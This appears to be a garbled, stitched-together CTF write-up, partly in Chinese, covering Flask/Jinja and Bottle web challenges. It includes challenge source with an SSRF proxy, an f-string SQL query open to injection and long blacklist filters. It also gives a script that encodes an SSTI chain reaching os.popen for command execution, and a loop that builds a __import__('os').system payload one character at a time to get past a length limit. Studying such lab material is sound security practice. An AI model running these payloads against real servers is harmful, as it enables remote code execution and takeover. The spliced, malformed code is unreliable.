#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters defbinary_to_string(binary_string): iflen(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i inrange(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
@app.route('/proxy', methods=['GET']) defnolettersproxy(): url = flask.request.args.get('url') ifnot url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if"."in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) defdb_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() returnNoneif found isNoneelse found[0]
随便输入会报:Warning: mysqli_stmt::bind_param(): Number of variables doesn’t match number of parameters in prepared statement in /var/www/html/login.php on line 35
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return'My inside world is always hidden.' except RuntimeError as e: counter = 0 return'NO.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:20:49 @Author : LamentXU ''' # DNS config: No reversing shells for you. import flask import time, random import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event) lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referrer", "authorization","user", "pragma", "mimetype", "origin" "Isn't that enough? Isn't that enough."] # lock_within = [] allowed_endpoint = ["static", "index", "r3al_ins1de_th0ught"] app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): quote = flask.request.args.get('spell') if quote: try: if quote.startswith("fly-"): for i in lock_within: if i in quote: print(i) return"wouldn't it be easier to give in?" time.sleep(random.randint(10, 30)/10) # No time based injections. flask.render_template_string('Let-the-magic-{#'+f'{quote}'+'#}') print("Registered endpoints and functions:") for endpoint, func in app.view_functions.items(): if endpoint notin allowed_endpoint: del func # No creating backdoor functions & endpoints. returnf'What are you doing with {endpoint} hacker?' return'Let the true magic begin!' else: return'My inside world is always hidden.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
arg_count = 0 for i in required_encoding: print(i) if i notin encoded_payloads: p = [] for j in i: if j == '_': p.append('k.2') elif j == ' ': p.append('k.3') elif j == '.': p.append('k.4') elif j == '-': p.append('k.5') elif j.isnumeric(): a = str(ord(j)-ord('0')+offset_0) p.append(f'k.{a}') elif j == '/': p.append('k.68') eliford(j) >= ord('a') andord(j) <= ord('z'): a = str(ord(j)-ord('a')+offset_a) p.append(f'k.{a}') eliford(j) >= ord('A') andord(j) <= ord('Z'): a = str(ord(j)-ord('A')+offset_A) p.append(f'k.{a}') arg_name = f'a{arg_count}' encoded_arg = '{%' + '%0a'.join(['set', arg_name , '=', '~'.join(p)]) + '%}' encoded_payloads[i] = (arg_name, encoded_arg) arg_count+=1 payload.append(encoded_arg) # print(encoded_payloads) fully_encoded_payload = payloadstr for i in encoded_payloads.keys(): if i in fully_encoded_payload: fully_encoded_payload = fully_encoded_payload.replace("'"+ i +"'", encoded_payloads[i][0]) # print(fully_encoded_payload) payload.append(fully_encoded_payload) command = "whoami" full_payload = '''{%print(request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('" + cmd + "')|attr('read')())%}''' endpoint = "r3al_ins1de_thought" payload.append(r'{%for%0ai%0ain%0arequest.endpoint|slice(1)%}') word_data = '' for i in'data': word_data += 'i.' + str(endpoint.find(i)) + '~' word_data = word_data[:-1] # delete the last '~' # Now we have "data" print("data: "+word_data) payload.append(r'{%set%0adat='+word_data+'%}') payload.append(r'{%for%0ak%0ain%0arequest|attr(dat)|string|slice(1)%0a%}') generate_rce_command(command) # payload.append(r'{%print(j)%}') # Here we use the "data" to construct the payload print('request body: _ .-0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/') # use chr() to convert the number to character # hiahiahia~ Now we get all of the charset, SSTI go go go!
if payload and'open'notin payload and'\\'notin payload:
使用%__import__('os').system('whoami'),可以看到的确rce了。
然后就是24的长度限制了,我们现在用了37个字符,然后利用bottle执行python代码的方法。
选择导入一个包,这个包要环境自带了,并且名字要短,最后选择os。
然后这样一个一个字符写入。本来尝试过直接往a里面写的,但是上下文不会保存。所以只能这样
1 2
%import os;os.a='%' %import os;os.a+='_'
写个脚本操作一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests
url = 'http://127.0.0.1:5000/attack'
payload = "__import__('os').system('whoami')"
p = list(payload) # 一位一位字符拆分
flag = True for i in p: if flag: tmp = f'%import os;os.b="{i}"' flag = False else: tmp = f'%import os;os.b+="{i}"' r = requests.get(url, params={"payload": tmp})